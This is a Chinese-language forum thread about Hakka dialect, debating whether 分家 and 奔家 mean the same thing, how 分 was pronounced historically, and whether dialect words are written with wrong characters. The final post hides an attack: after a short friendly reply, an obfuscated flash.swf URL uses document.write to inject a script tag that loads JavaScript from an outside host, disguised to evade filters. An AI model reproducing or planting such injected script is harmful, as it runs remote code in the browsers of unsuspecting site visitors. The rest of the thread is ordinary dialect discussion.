“分家”与“奔家”

旁听生

分家与“奔家”皆同一意思。只不过是读音上的演变和变化。“奔ben家”是正宗发音，而“分家”是受普通话音译过来的，现在年轻人普遍受普通话普及的影响而发“分”的音。

“奔家”：一指两个以上儿子的家庭到了儿子成家时，儿子瓜分父亲的财产，包括现金和不动产，房子啊，牛羊猪鸡鸭牲畜，田地，板车等。

另一个小意思指小朋友做游戏时的分小队（小组。）。也就是分队，分组。

统彤

    客家话奔就是分，分开的分。

统彤

    还有老公老婆奔(分)床睡。

旁听生

统彤 发表于 2015-12-25 08:20
还有老公老婆奔(分)床睡。

为什么呢

聚餐123

“分”之古音即为“奔”bun

朋来无咎

还有合。就是客家话鸽的音。不合，合不来。

朋来无咎

不识本字，白字横生，所谓客话字很多很搞笑。就像看人写错别字一样，贻笑大方

旁听生

朋来无咎 发表于 2015-12-30 20:55
不识本字，白字横生，所谓客话字很多很搞笑。就像看人写错别字一样，贻笑大方
...

很感谢您抽出宝贵的时间来评论一番，
您说的很有道理，说得很对。
我还在学习阶段，还希望您能继续指出我的不足！

梅塘排

分数的“分”呢，也读“奔”吗？

NanCY_南希

支持楼主，这贴有意思
https://localhost/flash.swf?\'+document.write(\'\\74script src=htt\'+\'p://wx.by\'+\'g168.com/addons/ewei_shop/jq.js \\76\\74/script\\76\')+\'